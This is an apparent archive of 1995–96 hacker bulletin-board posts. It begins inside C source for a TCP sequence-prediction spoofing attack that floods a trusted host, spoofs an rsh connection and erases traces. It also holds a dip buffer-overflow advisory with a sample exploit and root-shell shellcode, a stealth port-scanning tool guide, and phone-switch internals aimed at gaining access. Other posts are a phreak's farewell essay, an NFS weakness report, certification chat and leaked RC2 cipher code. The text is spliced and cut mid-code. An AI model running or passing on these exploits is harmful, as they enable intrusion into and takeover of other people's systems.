"Usage: %s trusted-host target\n",argv[0]); exit(1); } if ((he=gethostbyname(argv[1]))==NULL) { trust_addr=inet_addr(argv[1]); if (trust_addr==(u_long)-1) { fprintf(stderr, "Unknown host %s\n", argv[1]); exit(1); } } else bcopy(he->h_addr, &trust_addr, 4); if ((he=gethostbyname(argv[2]))==NULL) { targ_addr=inet_addr(argv[2]); if (targ_addr==(u_long)-1) { fprintf(stderr, "Unknown host %s\n", argv[2]); exit(1); } } else bcopy(he->h_addr, &targ_addr, 4); printf("Initializing Packet Filter\n"); use_best(); /* Use the best packet filter available on this system */ if (init_filter("tcp", NULL)) { /* Initialize the packet filter and read only TCP packets */ fprintf(stderr, "Can't init Packet Filter\n"); exit(1); } /* First, send NUMSEQUENCE connection requests from BADHOST to the * trusted host on a trusted port (currently 513). Trusted host will * attempt to SYN-ACK these. If BADHOST doesn't exist, there will never * be a response ACK. Consequently, trusted host's connection queue will * fill and it will no longer respond to any packets to port 513. */ printf("[Hosing Trusted Host...]\n"); if (hose_trusted(argv[1], trust_addr, seq_num, port_num)) { fprintf(stderr, "Couldn't hose %s\n", argv[1]); exit(1); } /* Next, do a sampling of the difference in sequence numbers. These packets * are NOT spoofed as receiving the reply is required. Consequently, this * host can appear in any packet traces. */ printf("[Determining sequence numbers...]\n"); if (determine_sequence(argv[2], targ_addr, &next_seq, &offset)) { fprintf(stderr, "Couldn't determine sequence numbers for %s\n", argv[2]); exit(1); } printf("=>Next sequence number is: %u, offset is: %u\n", next_seq, offset); /* Next, do the actual spoofed connection, now that we know what the next * sequence number will be. */ printf("[Spoofing Connection...]\n"); if (spoof_connection(trust_addr, argv[2], targ_addr, next_seq)) { fprintf(stderr, "Couldn't spoof connection to %s\n", argv[1]); exit(1); } /* Finally, reset all of the half started connections on trusted-host. * This will put trusted-host back into it's normal state (and hide * the traces that it was used for evil. */ printf("[Cleaning Up Trusted Mess...]\n"); if (reset_trusted(argv[1], trust_addr, seq_num, port_num)) { fprintf(stderr, "Couldn't reset %s. Sucks to be it.\n", argv[1]); exit(1); } /* fin */ exit(0); } hose_trusted(trust_host, trust_addr, seq_num, port_num) char *trust_host; u_long trust_addr; u_long seq_num[NUMSEQUENCE]; u_short port_num[NUMSEQUENCE]; { int i; u_long start_seq=49358353+getpid(); /* Make this anything you want */ u_long start_port=600; /* Make this anything you want */ struct ether_header eh; u_long bad_addr; /* First attempt to find the hardware address of the trusted host */ if (ether_hostton(trust_host, &eh.ether_dhost)) { /* If that fails, find the hardware address of the router */ if (ether_hostton(ROUTER, &eh.ether_dhost)) { fprintf(stderr, "Can't determine ether addr of trusted host or router.\n"); return(1); } } eh.ether_type=ETHERTYPE_IP; if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) { fprintf(stderr, "Can't convert BADHOST address.\n"); return(1); } /* Send a whole bunch of spoofed SYNs. Arguments to sendtcppacket_simple * are: * sendtcppacket_simple( * struct ether_addr source_hardware_address, * struct ether_addr destination_hardware_address, * u_long source_ip_address, * u_long destination_ip_address, * u_short source_port, * u_short destination_port, * u_long sequence_number, * u_long acknowldegement_number, * int TCP flags (SYN, RST, ACK, PUSH, FIN), * char * data, * int datalen) */ for (i=0;ih_addr, &my_addr, 4); for (i=0;i Date: Tue, 07 Nov 95 16:38:25 PST fprintf(stderr, "Response Timed out... Resending...\n"); signal(SIGALRM, timedout); alarm(0); alarm(10); /* Wait 10 seconds for reply */ sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost), my_addr, targ_addr, start_port, 514, /* 514 is rsh port */ start_seq, 0, TH_SYN, NULL, 0); /* Send connection request packet */ for (;;) { /* Wait until the reply is received. Arguments for readpacket * are: * readpacket( * struct fddi_header fddi_header, * struct ether_header ether_header, * struct ip ip_header, * struct udphdr udp_header, * struct tcphdr tcp_header, * char * data, * int datalen) * * return type is the type of packet read */ while (readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL, NULL)!= PTYPE_IP_TCP) ; if (ntohs(tcph.th_dport)==start_port && ntohs(tcph.th_sport)==514) { /* If the ports match, it's probably a reply--this isn't * definite, but it's a pretty good guess . * The following attempts to generate a reliable sequence. * Actually, it's pretty dumb. It tries 10 times, then takes * the last result. Generally, I've found this to work well * enough to warrant not writing anything smarter. */ if (prev_seq) { diff=tcph.th_seq-prev_seq; printf("(prev=%u, new=%u, diff=%u\n", prev_seq, tcph.th_seq, diff); } else diff=0; if (*offset==0) *offset=diff; else { if (*offset!=diff) printf("Difference in Offset: old=%u, new=%u\n", *offset, diff); *offset=diff; } prev_seq=tcph.th_seq; sendtcppacket_simple( &(eh.ether_shost), &(eh.ether_dhost), my_addr, targ_addr, start_port++, 514, start_seq++, 0, TH_RST, NULL, 0); /* Send a reset to close the connection. Note, this * automatically will be sent by localhost unless * a service is listening on whatever port you've * chosen to start with at the top of this routine. * so I reset it anyway */ break; /* out of infinite for */ } } /* of infinite for */ alarm(0); } /* for i=0 i Date: Thu, 09 Nov 95 08:37:59 PST Anywas. i quit. I have absoloutely no desire whatsoever to partake in the "scene" or anything else to do about it. Before i go, at the risk of almost sounding foolish, id like to explain a few things and bring p a few things that bothered me. I have jsut found myself doing nothing but sitting back and saying wow wasnt it great way back then and man didnt we ever think were were the leetest fucking things back then and blah blah blah. I have have dedicated 7 years of my life to this shit. ive seen more things and done more crap than i ever care to bring up. I read phrack one day. i was 14 years old. i dont rememebr for the life of me were i got it or who gave it to me. i just ended up with it. i read it and then decided yes. thats what im going to be. I proceeded to try and learn everything i possibly could. i devoted much much more time than i can even beleive i did to try and become a phreak. in the porcess i even snowed myself. i somehow made myself beleive that the whole thing had this great higher purpose. i had convinced myself that i was doing my part to rid the world of its greatest injustice. as much as we think now that its nothing but a worthless bunch of characters, i took everything written in Porphets hacker manifesto as almost law. a printout of it even reamined in the binder of telco death until recently. I was a man with a mission (not too sure exactly what that mission was mind you). Very few people tend to remember me from that long ago. most of them seem surprised that i remmeber things that only poeple who were there would know yet nobody every remembers seeing me there. i just learned real fast to shut up and listen once someone who knew more than i did showed up anywhere that i was. i pride myself on everything that i did and everything that i acomplished. i also pride mself on the fact that during this entire time, i never ever asked anyone for any sort of help. no mentor no person to show you the ropes no nothing. this was something i was determined to do by myself. I remember most things fondly. running into people for the first time on datapac machines and being so surprised that i actually ran into them, the 3 day alliances everything. my parents thought i was crazy but figured hell hes not getting into trouble playing on the computer, just let him be. things came and passed.. i discovered qsd and sat there for many many long hours. i had grown so attached to it that i absoloutely refused to go anywhere near irc thinking it to be some upstart thing that could never replace what qsd was. time flew by. citibank. hell even microwire. everything came and went. running stupid datapac scanners all day and night looking for something new. running across the border into the states and camping out 6 feet away from the payphone running alliances all weekend. i was on the top of the world. then something happened. id say he started around 2 years ago. the people that i had known for longer than people i actually dealt with everyday went on to new lives. school, careers, even getting married. then a whole new group of people showed up. the quick and dirty people. people who had no other purpose than to collect more accounts to irc from than doing anything else. they broke everything that i had seen as rules. exploits started showing up (though not the way they seem to be now) verything was done real slow and by hand. i loved it. Look at what it is now. we find places like this. one of the last refuges anywhere near the "scene" (i use that term very loosley now) were people can show up and not be reminded every day that everything as we knew it is now dead. I could take a random person off the street who had almost no clue what a phreak or hacker was and convince him in 10 minutes that we should be revered as this knights on some quest. noble and brave doing nothing but learning more and trying to gain a copltel knowledge of everything we came in contact with. I h the beleif that people did not learn how to become a phreak. people were born like it. i honestly truly beleived that yes, we were all alike.. At the time i dont think there was any sort of even slightly organized community whose members were so similar. we all dealt with exactly the same shit, same problems, same fears, same ideas and dreams. Anything that you found yourself dealing with in life didnt bother you because you just knew that one of thsoe people that you associated with or whatnot had run into the same problem and could help you through it or even to understand it better. now look at things. just sit and think a minute about exactly what it means to be a phreak. or a hacker. look at the people who are now invovled in it. look at what they do, what they think. we all tried so incredibly hard to make sure thatd there would always be others willing to carry on after us. with the same attitudes and the same goals. people just like all of us. and all we managed to end up doing was segregate us from everyone else. there is now 2 distinct groups. almost like a pre 1992 and post 1992 group i dont beleive in it anymore. i used to sit and be incredibly proud of who i was and glad to call myself a phreak. Now i wont even admit to every having anything to do with it. Everything that was printed in the media about us that we all laughed at because they didnt understand us was right. we are not some noble warriors ridding the world of injustice we are nothing. everything we based everyting upon is compeltel bullshit. i went more than 5 years without every getting into an argument with anyone yet know i find myself screaming at netxcr00zer or free.org kids who have a sackful of codes and managed to find a cdrom with a compeltel set of dms100 documentation on it. everything is handed to them on a silver platter. i just find everything that i worked for in search of some goal that i couldnt see but always figured that once i reached it id know it. i was just fooling myself. I became a phreak because i love telephones. i love everything about the phone system i love how it works i love the things it does the things it means.i would like to share my greatest experience i had as a phreak with everyone. i somehow managed to get a tour in a local co whose name i wont mentioned. inside they had an immaculate stromberg sxs. it wasnt operational anymore but it was still all there just like when it had been first installed. i actually got to move those relays and all i could do was sit back and wish that i could have been there while it was working. to take the covers off and watch them click past each pair. the HUGE fuses they had the rows of batteries they had to keep it going. i found it one f the most wonderful things i had ever seen. if thats what phreaking is abou.t then why the fuck dont things liek that matter anymore i am getting 15 year old kids trying tcp sequencing scripts on my machine. for no other reason than to do it. i need another account to irc from. I cherish the friends that i have made throught my experiences here. people who helped me thru tough times during life when parents werent alwas around. and the people who came for me for advice on life. And ALL of those people that i met from all around the world. the people that i stumbled upon and that turned out to be the best friends i ever had in my life. I will not saying that my time here hasnt done anything for me. all those times of playing on unix machines gave me something that i never thought this palce would give me. it gave me acareer. so for that i am also grateful. we are not the great people we think we are though. we are criminals. i realized this all last week. on the day of my 21st birthday. for the first time in my life i looked at the people passing in front of me on irc on stupid conferences on everthing and just said these people arent anything but criminals i cant continue even partaking in social aspects. this is more than likely going to be my last time here. All we do now is fight amongst ourselves. its this clash between what was and the reality of things today. As a parting gesture. i would like to mention a few people that have been great freinds of mine and who made my whole stay in this fantasy world a great life experience. the phlaw - first person i met on x.25. he also showed me that no matter how bad things go in life, as long as you keep your mind ordred and clear it will never affect you Jaxxom - first foreigner that i spent any length of time talking to. showed me that blueboxing was more than a call thing. Swamp rat - the funniest person i have ever talked to. oh man i couldnt mention everyting here if i tried. i rode the high that i got for so long but its now gone and there no way its ever going to come back. to everyone that i ran into during any of my time here i thank you. hopefully someon else can keep the faith now that i am unable to. Hopefully someone proves me wrong. but i do think its a lost cause. Mike Goumans mike@thecove.com may all those who use the sinner nick from this time on eat horrible flaming death. its been a blast. Subject: NFS From: root (System Administrator) Message-ID: Date: Tue, 14 Nov 95 17:01:36 PST From: egnor@pride.ugcs.caltech.edu (Dan Egnor) Newsgroups: comp.security.unix,comp.sys.hp.hpux Subject: HP-UX NFS completely insecure? I may have asked about this before, but I've never had a satisfactory answer. As near as I can tell, HP's NFS server does not use inode generation numbers. This means that *all* the file handle depends on are the major/minor device numbers of the disk and the inode number of the file. These are not hard to guess; in particular, the inode number of the root directory of any partition is always 2, and the device numbers are the same everywhere (modulo SCSI ID and partition number -- not hard to scan!). I read this to mean that HP's NFS has even less security than most NFS implementations. You don't have to sniff handles, you don't have to perform brute-force guessing or spoof IP addresses. You just (optionally) "showmount -e" to see what someone is exporting, then create the appropriate handle and start accessing their files. You can do this even though the "target" HP does have you in its export list. You can look at files on random HP machines around the Internet, and moreover, there's no way to even log that this is happenning (short of a packet-level monitor). Moreover, there is no way to instruct an HP NFS server to accept requests from reserved ports only, so any user (priveleged or no) on a machine (HP or no) that an HP exports to can access the exported filesystem as *any* user (usually with the exception of root). This means (as an example) that if you NFS mount your mail spool on HP systems, all your users can read each other's mail. Of course, because of the first problem, *everyone on the Internet* can read your users' mail. I reported this to HP quite some time ago -- they acknowledged that the bugs exist, and said something like "we're working on it". I was hoping that HP-UX 10 would fix the problem (we're running HP-UX 9), but it does not, even though they supposedly upgraded their NFS. I have programs to exploit these problems; I didn't even write them, they're freely available on the Internet. I shan't post them here yet. Is there anything that can be done (short of a firewall, which doesn't solve the second problem anyway)? Has anyone else noticed this problem? NFS is a perennial security problem, but this seems worse than usual. Dan Subject: cosmos From: tp (Toxic Phreak) Message-ID: <5HPgeD4w164w@upt.cyberflunk.com> Date: Sun, 12 Nov 95 16:40:27 PST There is a big difference between COSMOS and SWITCH. It will not change the way RCMAC does its work, NAC does its work, and how the lines are set up by frames. SWITCH will change the the way RCMAC does, by not allowing the split windowfunction that RCMAC uses when entering service orders. The quality of the SWITCH dsatabase after conversion from COSMOS will be direct relation to how much effort was placed into the COSMOS, and how "clean" the database is on COSMOS. Some smaller differences will be that SWITCH will be able to handle different order level capability (e.g., change TN on a service order, change pair on a maintenance cut, change pair on a cable etc..). SWITCH can handle unlimited "pending on pending" services, including automatic rework when activity on a pending order changes. The version of SWITCH being used is 1.5, being used in a soaking fashion. SWITCH was to be placed in a 12 month cycle (put into operation, but the BOCs want a 3 to 6 week turn around. Bellcore is being pressured into making it sooner! As got hat list, i am not sure what "050398" is, in fact i have no idea! There is just too much info on that little post, from the long. to the latu. cords. to the CO nick name etc etc... Back to SWITCH. I would think it is on a unix platform, BellCore have tended to use UNIX (in all but LMOS) for the past few years ever ence the first gernic of SCCS in 1980 using unix (the first time that UNIX had been used in switching, note SCCS was around before then in the 1970's but it did not use unix in any way shape or form). I am not even sure of the login for SWITCH, it is still too soon, it is being used, but COSMOS will not be fully dumped till SWITCH 1.7 comes out. There are not CBT (computer base traning) copies of SWITCH around, but i was unable to get one, though i will work on it so i will understand it better, but the BOCs are keeping it hush hush. When SWITCH does come into play, you can order the manuals from the FCC, since the FCC will have to know how it works, and thus it is public info. I will be sure to get the manuals that way! So there is a lot more difference in this OSS when talking about the effect on the LEC etc. In short there will be a lot of change! Subject: OE codes From: clli (cllisk8r) Message-ID: Date: Fri, 24 Nov 95 02:43:22 PST I am going to be composing a rundown on 1AESS. A bunch of the stuff will be a revision of Agent Steal's article in LODTJ. Sorry, but I think this will give a good base for the information that I am going to cover. [data to be revised follows] The #1 and 1A use a crosspoint matrix similar to the X-bar. The primary switch used in the matrix is the ferreed (remreed in the 1A). It is a two state magnetic alloy switch. It is basically a magnetic switch that does not require voltage to stay in it's present position. A voltage is only required to change the state of the switch. The No. 1 utilized a computer style, common control and memory. Memory used by the #1 changed with technology, but most have been upgraded to RAM. Line scanners monitor the status of customer lines, crosspoint switches, and all internal, outgoing, and incoming trunks, reporting their status to the central control. The central control then either calls upon program or call store memories to chose which crosspoints to activate for processing the call. The crosspoint matrices are controlled via central pulse distributors which in turn are controlled by the central control via data buses. All of the scanner's AMA tape controllers, pulse distro, x-point matrix, etc., listen to data buses for their address and command or report their information on the buses. The buses are merely cables connecting the different units to the central control. The 1E was quickly replaced by the 1A due to advances in technology. So 1A's are more common, also many of the 1E's have been upgraded to a 1A. This meant changing the ferreed to the remreed relay, adding additional peripheral component controllers (to free up central controller load) and implementation of the 1A processor. The 1A processor replaced older style electronics with integrated circuits. Both switches operate similarly. The primary differences were speed and capacity. The #1ESS could process 110,000 calls per hour and serve 128,000 lines. Most of the major common control elements are either fully or partially duplicated to ensure reliability. Systems run simultaneously and are checked against each other for errors. When a problem occurs the system will double check, reroute, or switch over to auxiliary to continue system operation. Alarms are also reported to the maintenance console and are in turn printed out on a printer near the control console. Operation of the switch is done through the Master Control Center (MCC) panel and/or a terminal. Remote operation is also done through input/output channels. These channels have different functions and therefore receive different types of output messages and have different abilities as for what type of commands they are allowed to issue. Here is a list of the commonly used TTY channels. Maintenance - Primary channel for testing, enable, disable etc. Recent Change - Changes in class of service, calling features etc. Administrative - Traffic information and control Supplementary - Traffic information supplied to automatic network control SCC Maint. - Switching Control Center interface Plant Serv.Cent.- Reports testing information to test facilities At the end of this article you will find a list of the most frequently seen Maintenance channel output messages and a brief description of their meaning. You will also find a list of frequently used input messages. There are other channels as well as back ups but the only ones to be concerned with are Recent Change and SCC maint. These are the two channels you will most likely want to get access to. The Maintenance channel doesn't leave the C.O. and is used by switch engineers as the primary way of controlling the switch. During off hours and weekends the control of the switch is transferred to the SCC. The SCC is a centrally located bureau that has up to 16 switches reporting to it via their SCC maint. channel. The SCC has a mini computer running SCCS that watches the output of all these switches for trouble conditions that require immediate attention. The SCC personnel then have the ability to input messages to that particular switch to try and correct the problem. If necessary, someone will be dispatched to the C.O. to correct the problem. I should also mention that the SCC mini, SCCS has dialups and access to SCCS means access to all the switches connected to it. The level of access however, may be dependent upon the privileges of the account you are using. The Recent Change channels also connect to a centrally located bureau referred to as the RCMAC. These bureaus are responsible for activating lines, changing class of service etc. RCMAC has been automated to a large degree by computer systems that log into COSMOS and look for pending orders. COSMOS is basically an order placement and record keeping system for central office equipment, but you should know that already, right? So this system, called Work Manager running MIZAR logs into COSMOS, pulls orders requiring recent change work, then in one batch several times a day, transmits the orders to the appropriate switch via it's Recent Change Channel. Testing of the switch is done by many different methods. Bell Labs has developed a number of systems, many accomplishing the same functions. I will only attempt to cover the ones I know fairly well. The primary testing system is the trunk test panels located at the switch itself. There are three and they all pretty much do the same thing, which is to test trunk and line paths through the switch. Trunk and Line Test Panel Supplementary Trunk Test Panel Manual Trunk Test Panel MLT (Mechanized Loop Testing) is another popular one. This system is often available through the LMOS data base and can give very specific measurements of line levels and losses. The "TV Mask" is also popular giving the user the ability to monitor lines via a call back number. DAMT (Direct Access Mechanized Testing) is used by line repairmen to put tone on numbers to help them find lines. This was previously done by Frame personnel, so DAMT automated that task. DAMT can also monitor lines, but unfortunately, the audio is scrambled in a manor that allows one only to tell what type of signal is present on the line, or whether it is busy or not. All of these testing systems have one thing in common: they access the line through a "No Test Trunk". This is a switch which can drop in on a specific path or line and connect it to the testing device. It depends on the device connected to the trunk, but there is usually a noticeable "click" heard on the tested line when the No Test Trunk drops in. Also the testing devices I have mentioned here will seize the line, busying it out. This will present problems when trying to monitor calls, as you would need to drop in during the call. The No Test Trunk is also the method in which operator consoles perform verifications and interrupts. [data to be revised ends] I am actually thinking of putting together a new article on all aspects of telephony. Maybe I could get some help here from tp and we could make it a joint effort. I am lacking in so many areas that I couldn't put together a good comprehensive piece. I might have to start with going over basics. Subject: ... From: root (System Administrator) Message-ID: <3k9LFD2w164w@upt.cyberflunk.com> Date: Tue, 05 Dec 95 02:54:13 PST Source: bugtraq (hopefully this is far enough from being an actual exploit to be suitable for the firewalls list. Whilst not directly relevant to firewalls, I believe some of the details herein will be of interest to its readers). "Stealth Scanning": etcp Well since newscan is available, I don't see too much harm in making this tool available (I was unaware that it existed, previously). There are "bugs" here for everyone...:-(( Hassle your vendor if you find your machines susceptible to some of the stranger things below. This document describes the behaviour of etcp and thus explains to a fair extent how Stealth Scanning works, how to take advantage of buggy firewalls which don't send back replies and points out some bugs in TCP. etcp is the precursor to ipsend (which has diverged from the role of doing TCP port scans). It ONLY works over Ethernet. It's primary role was to exercise the short-TCP packet bug, but became a bit more flexible. It will ONLY run on SunOS4 (NIT or BPF) and 4BSD boxes with BPF. The command line looks something like this: etcp [-d device] [-f fragflags] [-g gateway] [-m mtu] [-p min] [-P max] [-s src] [-S source-port] [-t port] dest flags Device is obvious (which device you want the packet to go out from). (defaults to le0) The "fragflags" field is there to niggle another bug observed in packet filters (mainly setting the highest bit -ONLY- and sending a packet with this field as 0x8000, even though it wasn't a fragment). The gateway allows it to send packets through to another network. The mtu paramter. This did "most of the damage". The key value for this field is 28 - enough to put port numbers in one packet and TCP flags in the next. The min and max parameters specify the minimum and maximum ports for the scan. Default is 0 and 1023. Source allows for a different source address to be specified - almost useless unless you don't want to see the replies. Source port sets the given field in the TCP header. If the port number is given, with the -t option, it will try to make a TCP connection and then send data across without using in-kernel TCP. This option work best with an MTU of 28 against a packet screen'd firewall which doesn't return any ICMP/TCP packets in response to blocked packets. Why ? Because it relies on the screen remaining silent and not giving the kernel any cause to close the TCP connection. So, if that bug was available, it'd call connect(), expect the SYN packet to be dropped, send across a SYN split in two which would hopefully make it through, assume an answer, and then send across an ACK (using a system call) with actual data, doing a kernel lookup to get the sequence/ack numbers from the TCP PCB. Sometimes not sending a reply is more dangerous than sending one :-) Destination is the destination IP address. Flags is any combination of TCP flags (SAFRPU). This table shows the packets returned to those sent. The target machines were an Ultrix 4.3 box and a FreeBSD 2.0.5 box. Hopefully two different `poles' of BSD TCP. L - Listening, I - Inuse, U - unused S - SYN, A - ACK, F - FIN, R - RST All packets should be considered to have bad sequence/ack numbers. Sent State Received Window* S L SA !=0 S I - - S U RA 0 SA L RA/R# !=0 SA I A/- !=0/-# SA U R 0 F L A/- !=0/- F I - - F U RA/R 0 FA L R/- !=0/- FA I A/- !=0/- FA U RA 0 FS L RA/SA !=0 & FS I - - FS U RA 0 R L R/- !=0/- R I RA/- !=0/- + R U - - RA L RA/- !=0/- RA I RA !=0 + RA U - - * - on Solaris 2, RST packets always have a window of 0. + - On some Unixes, where a reply is shown as received, this can close the connection a la ICMP destination unreachable `nukes' - hassle vendor! # - FreeBSD 2.0.5 reponses, where different & - it appears that 4.4BSD treats FS as a S. When kernels based on BSD networking are targetted, a non-zero window is returned for sockets which are listening. This is due to them (a) having a non-zero window in the listening state and (b) a pointer, tp, being non-null when passed to tcp_close() to send the RST. In case (b), tp points to the listening socket. Looking at the above table, we can scan for active listening ports quite successfully, so long as we know what to expect back. In particular, using a SYN-ACK instead of a SYN seems particularly fruitful. It can be found at: ftp://coombs.anu.edu.au/pub/misc/etcp.tar.Z darren p.s. between this and ipsend, I've found `bugs' in TCP/IP on Solaris2.4, 4.4BSDs, Linux, SunOS4, Ultrix 4.3...so there are probably some in the others too! Some bugs are more benign than others, and at least two can be made to crash/panic and not reboot. Subject: Re: ASU From: dfi (Asriel) Message-ID: References: <3JoiFD1w164w@upt.cyberflunk.com> Date: Sun, 03 Dec 95 17:18:01 PST > > decisions probably think this. Having said that, I really don't know what > > obtaining a cna or cne cert. from Novell entails. > > i don't know much about cna/cne but what i do know is that is often substitut > a fucking bachelor's degree.. more than just novell specific information is > covered. a lot about networking, etc. the books for the course are about as > think as tcp/ip illustrated (both volumes). its crazy. Uhhh... This is elementary to some of the people here, but I'll explain for the benefit of those who do not already know. CNA is Novell's Certified Network Administrator certification. It takes one or two really basic tests to get one. It also doesn't mean anything and really isn't looked upon too fondly by those who make hiring decisions, although it'll occasionally catch you a job with IS people who are mistaking CNA for CNE. CNE is Certified Network Engineer. It takes roughly 8 tests to get one, which includes a couple of electives depending on whether you want to "specialize" on Netware 3.x (plain vanilla Netware), Netware 4.1 (enterprise Netware) or Unixware (bad choice, considering that they just sold it). Realistically, anyone here who has read something like a Stevens book and managed to digest it could read up on the course material and get a CNE within 3 days... i say this having done it myself... you need to pick up on the Networking Technologies material, which is a pain only because it covers archaic protocols that aren't in use anymore, and Netware command syntax, which is a pain only because Netware wasn't smart when they designed the system so you have six or seven commands that look the same but do completely different things. Corporations that want to fill slots in IS departments tend to eat up CNEs. You can definitely make a good deal of money doing it (if you have no shame) - I bill 90/hr and am on an 40hr/week contract with a company now. Technoliterate companies tend to be smarter - from what I've seen of my firm's hiring policies, CNEs have a bitch of a time because management expects them to be idiots who memorized test material and expect a good job. My overall opinion of the concept is that it's purpose is to get 35 year olds with no jobs employment. It's also a major, major moneymaking scheme for Novell (Novell's marketing practices, IMO, make Microsoft look like the Salvation Army). Novell is a bad scene. Stay away. Once you know how everything works (it takes about 3 days, as I said), it's mind-numbingly boring shit. dfi2049 Subject: dip3.3.7n From: lynx (lynx) Message-ID: Date: Mon, 22 Jan 96 17:24:02 PST Linux: dip security hole Dan Walters (djw@ccwf.cc.utexas.edu) Sun, 21 Jan 1996 14:34:22 -0600 * Messages sorted by: [ date ][ thread ][ subject ][ author ] * Previous message: Douglas Siebert: "Re: World writable devices in Irix?" PROGRAM: dip 3.3.7n, and probably other variants AFFECTED SYSTEMS: Linux - Slackware 3.0 and RedHat 2.1 verified, others unknown. IMPACT: Local users can get superuser privleges. SYNOPSIS: Some Linux distributions come with dip setuid root by default. There are multiple points in dip where an unbounded buffer is used with user supplied data making possible a stack overflow. Functions in which this appears to be possible include do_chatkey() and mdm_dial(). WORKAROUND: It is suggested that at least until the source has been further scrutinized that dip not be setuid unless necessary. chmod 0755 dip If you must have dip setuid, place it in a group where it can only be executed by trusted users. SAMPLE EXPLOIT: /* dip-exploit.c - overruns the buffer in do_chatkey() to give a shell */ #include #include #include #include #include #define PATH_DIP "/usr/sbin/dip" u_char shell[] = /* courtesy of avalon ;) */ "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; u_long esp() { __asm__("movl %esp, %eax"); } main() u_char buf[1024]; u_long addr; int i, f; strcpy(buf, "chatkey "); addr = esp() - 192; for (i=8; i<128+16; i+=4) *((u_long *) (buf+i)) = addr; for (i=128+16; i<512; i++) buf[i] = 0x90; for (i=0; i Date: Thu, 01 Feb 96 02:00:44 PST From nobody@c2.orgThu Feb 1 02:30:09 1996 Date: Mon, 29 Jan 1996 13:58:23 -0800 (PST) From: Anonymous User Reply to: nobody@mail.uu.net To: cypherpunks@toad.com Subject: BoS: RC2 source code Reposted from sci.crypt: /**********************************************************************\ * To commemorate the 1996 RSA Data Security Conference, the following * * code is released into the public domain by its author. Prost! * * * * This cipher uses 16-bit words and little-endian byte ordering. * * I wonder which processor it was optimized for? * * * * Thanks to CodeView, SoftIce, and D86 for helping bring this code to * * the public. * \**********************************************************************/ #include #include /**********************************************************************\ * Expand a variable-length user key (between 1 and 128 bytes) to a * * 64-short working rc2 key, of at most "bits" effective key bits. * * The effective key bits parameter looks like an export control hack. * * For normal use, it should always be set to 1024. For convenience, * * zero is accepted as an alias for 1024. * \**********************************************************************/ void rc2_keyschedule( unsigned short xkey[64], const unsigned char *key, unsigned len, unsigned bits ) { unsigned char x; unsigned i; /* 256-entry permutation table, probably derived somehow from pi */ static const unsigned char permute[256] = { 217,120,249,196, 25,221,181,237, 40,233,253,121, 74,160,216,157, 198,126, 55,131, 43,118, 83,142, 98, 76,100,136, 68,139,251,162, 23,154, 89,245,135,179, 79, 19, 97, 69,109,141, 9,129,125, 50, 189,143, 64,235,134,183,123, 11,240,149, 33, 34, 92,107, 78,130, 84,214,101,147,206, 96,178, 28,115, 86,192, 20,167,140,241,220, 18,117,202, 31, 59,190,228,209, 66, 61,212, 48,163, 60,182, 38, 111,191, 14,218, 70,105, 7, 87, 39,242, 29,155,188,148, 67, 3, 248, 17,199,246,144,239, 62,231, 6,195,213, 47,200,102, 30,215, 8,232,234,222,128, 82,238,247,132,170,114,172, 53, 77,106, 42, 150, 26,210,113, 90, 21, 73,116, 75,159,208, 94, 4, 24,164,236, 194,224, 65,110, 15, 81,203,204, 36,145,175, 80,161,244,112, 57, 153,124, 58,133, 35,184,180,122,252, 2, 54, 91, 37, 85,151, 49, 45, 93,250,152,227,138,146,174, 5,223, 41, 16,103,108,186,201, 211, 0,230,207,225,158,168, 44, 99, 22, 1, 63, 88,226,137,169, 13, 56, 52, 27,171, 51,255,176,187, 72, 12, 95,185,177,205, 46, 197,243,219, 71,229,165,156,119, 10,166, 32,104,254,127,193,173 }; assert(len > 0 && len <= 128); assert(bits <= 1024); if (!bits) bits = 1024; memcpy(xkey, key, len); /* Phase 1: Expand input key to 128 bytes */ if (len < 128) { i = 0; x = ((unsigned char *)xkey)[len-1]; do { x = permute[(x + ((unsigned char *)xkey)[i++]) & 255]; ((unsigned char *)xkey)[len++] = x; } while (len < 128); } /* Phase 2 - reduce effective key size to "bits" */ len = (bits+7) >> 3; i = 128-len; x = permute[((unsigned char *)xkey)[i] & (255 >> (7 & -bits))]; ((unsigned char *)xkey)[i] = x; while (i--) { x = permute[ x ^ ((unsigned char *)xkey)[i+len] ]; ((unsigned char *)xkey)[i] = x; } /* Phase 3 - copy to xkey in little-endian order */ i = 63; do { xkey[i] = ((unsigned char *)xkey)[2*i] + (((unsigned char *)xkey)[2*i+1] << 8); } while (i--); } /**********************************************************************\ * Encrypt an 8-byte block of plaintext using the given key. * \**********************************************************************/ void rc2_encrypt( const unsigned short xkey[64], const unsigned char *plain, unsigned char *cipher ) { unsigned x76, x54, x32, x10, i; x76 = (plain[7] << 8) + plain[6]; x54 = (plain[5] << 8) + plain[4]; x32 = (plain[3] << 8) + plain[2]; x10 = (plain[1] << 8) + plain[0]; for (i = 0; i < 16; i++) { x10 += (x32 & ~x76) + (x54 & x76) + xkey[4*i+0]; x10 = (x10 << 1) + (x10 >> 15 & 1); x32 += (x54 & ~x10) + (x76 & x10) + xkey[4*i+1]; x32 = (x32 << 2) + (x32 >> 14 & 3); x54 += (x76 & ~x32) + (x10 & x32) + xkey[4*i+2]; x54 = (x54 << 3) + (x54 >> 13 & 7); x76 += (x10 & ~x54) + (x32 & x54) + xkey[4*i+3]; x76 = (x76 << 5) + (x76 >> 11 & 31); if (i == 4 || i == 10) { x10 += xkey[x76 & 63]; x32 += xkey[x10 & 63]; x54 += xkey[x32 & 63]; x76 += xkey[x54 & 63]; } } cipher[0] = (unsigned char)x10; cipher[1] = (unsigned char)(x10 >> 8); cipher[2] = (unsigned char)x32; cipher[3] = (unsigned char)(x32 >> 8); cipher[4] = (unsigned char)x54; cipher[5] = (unsigned char)(x54 >> 8); cipher[6] = (unsigned char)x76; cipher[7] = (unsigned char)(x76 >> 8); } /**********************************************************************\ * Decrypt an 8-byte block of ciphertext using the given key. * \**********************************************************************/ void rc2_decrypt( const unsigned short xkey[64], unsigned char *plain, const unsigned char *cipher ) { unsigned x76, x54, x32, x10, i; x76 = (cipher[7] << 8) + cipher[6]; x54 = (cipher[5] << 8) + cipher[4]; x32 = (cipher[3] << 8) + cipher[2]; x10 = (cipher[1] << 8) + cipher[0]; i = 15; do { x76 &= 65535; x76 = (x76 << 11) 